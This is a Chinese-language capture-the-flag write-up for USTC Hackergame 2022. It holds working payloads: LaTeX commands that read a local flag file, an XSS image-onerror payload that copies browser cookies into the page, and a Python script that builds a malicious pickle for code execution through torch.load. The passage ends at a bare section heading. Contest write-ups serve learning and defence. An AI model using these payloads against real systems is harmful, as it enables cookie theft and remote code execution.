官方 wp: https://github.com/USTC-Hackergame/hackergame2022-writeups
杂项
猫咪问答
利用 ssh key finger 查找域名,这里使用Shodan
github 仓库内搜索
猜数字
java 真随机数,无法预测下一个
这题考察的是浮点数的比较,对于任意 a,a != NaN
成立,但 a < NaN 或 NaN < a
均不成立,再根据判断逻辑,直接传 NaN 即可
web
LaTeX 机器人
https://github.com/swisskyrepo/PayloadsAllTheThings,包含各种 payload
使用了 pdflatex 工具,但是禁掉了 write18
pdflatex -interaction=nonstopmode -halt-on-error -no-shell-escape result.tex
读取本地文件,input 有特殊字符会报错,这里用逐字包含,或者其它的很多解法
$$ \makeatletter 这里放 verbatim.sty 的内容,记得删掉行末的 \makeatother \verbatiminput{/flag2} $$
$$ \catcode`\#=\active \def #{\#} \catcode`\_=\active \def _{\_} \texttt{\input{/flag2}} $$
$$ \newread\myread \openin\myread=/flag2 \read\myread to\fileline \detokenize\expandafter{\fileline} $$
|
flag 的痕迹
算是 Dokuwiki 的一个漏洞吧 😥,在历史记录功能关闭的情况下,仍然可以通过 diff 查看历史记录
http://202.38.93.111:15004/doku.php?id=start&do=diff
甚至直接 google 就能搜到解决方案
微积分计算小练习
竟然是难得一见的 xss 利用,下面是机器人代码
LOGIN_URL = f'http://web/?bot={BOT_SECRET}'
print('Please submit your quiz URL:') url = input('> ')
parsed = urllib.parse.urlparse(url) parsed = parsed._replace(netloc="web", scheme="http") url = urllib.parse.urlunparse(parsed)
print(f"Your URL converted to {url}")
with webdriver.Chrome(options=options) as driver: ua = driver.execute_script('return navigator.userAgent') print(' I am using', ua)
print('- Logining...') driver.get(LOGIN_URL) time.sleep(4)
print(' Putting secret flag...') driver.execute_script(f'document.cookie="flag={FLAG}"') time.sleep(1)
print('- Now browsing your quiz result...') driver.get(url) time.sleep(4)
greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent") score = driver.execute_script(f"return document.querySelector('#score').textContent") print("OK. Now I know that:") print(greeting) print(score)
print('- Thank you for joining my quiz!')
|
测试基础 xss,把用户名改了,使用 innerHTML 插入的<script>
标签不会被执行,不过<img src=1 onerror=alert(1)>
可以正常弹窗
看机器人代码,把 flag 放到了 cookie 里,然后访问我们提交的 url,获取 greeting 和 socre 的值,并把用户名和分数打印出来,我们直接构造用户名部分
<img src=a onerror='var a=document.cookie;document.querySelector("#score").textContent=a;'>
把 cookie 放到了 score 里,就能打印出来了
甚至我们可以直接更改它的 result 参数,把分数改了,让用户名显示正确
<img src=1 onerror='var a=document.cookie;document.querySelector("#score").textContent=a;'>:hdh
然后编码
http://202.38.93.111:10056/share?result=PGltZyBzcmM9MSBvbmVycm9yPSd2YXIgYT1kb2N1bWVudC5jb29raWU7ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3Njb3JlIikudGV4dENvbnRlbnQ9YTsnPjpoZGg=
二次元神经网络
一开始以为是神经网络的题目,这个我也不是很懂,代码拉下来,跑了半天 loss 都不变,后来才知道样本太少了,这实际是个pickle
题目,原来 web 题还可以这样出 🤣。
我们传的模型会被 infer 来验证,主要逻辑如下
def infer(pt_file): tag_ids = torch.load("dataset/tags_10.pt", map_location="cpu")
n_tags = 63 dim = 8 img_shape = (64, 64, 3)
model = SimpleGenerativeModel(n_tags=n_tags, dim=dim, img_shape=img_shape) model.load_state_dict(torch.load(pt_file, map_location="cpu"))
torch.manual_seed(0) n_samples = tag_ids.shape[0] noise = torch.randn(n_samples, dim)
with torch.no_grad(): model.eval() predictions = model(noise, tag_ids).clamp(0, 1)
gen_imgs = [] for i in range(n_samples): out_io = io.BytesIO() matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png") png_b64 = base64.b64encode(out_io.getvalue()).decode() gen_imgs.append(png_b64)
json.dump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))
|
加载模型并根据标签生成预测图片写入/tmp/result.json
中,如果能把原图当成预测图传入/tmp/result.json
就好了。torch.load(pt_file, map_location="cpu")
存在 pickle 反序列化漏洞,可以利用来 rce,构造一个用来写入数据的 payload
open('/tmp/result.json', 'w').write('{"gen_imgs_b64": {gen_imgs}}')
|
之后构造类,利用__reduce__
方法来 eval,payload 如下
import io import json import base64
import torch import matplotlib import matplotlib.image
PIXEL_FILE="./dataset/pixels_10.pt" predictions = torch.load(PIXEL_FILE, map_location="cpu")
gen_imgs = [] for i in range(10): out_io = io.BytesIO() matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png") png_b64 = base64.b64encode(out_io.getvalue()).decode() gen_imgs.append(png_b64)
content = json.dumps({"gen_imgs_b64": gen_imgs})
args = "open('/tmp/result.json', 'w').write('" + content.replace('\\', '\\\\').replace("'", "\\'") + "')"
class Exploit(object): def __reduce__(self): return (eval, (args,))
torch.save(Exploit(), "model_exp.pt")
|
你先别急
re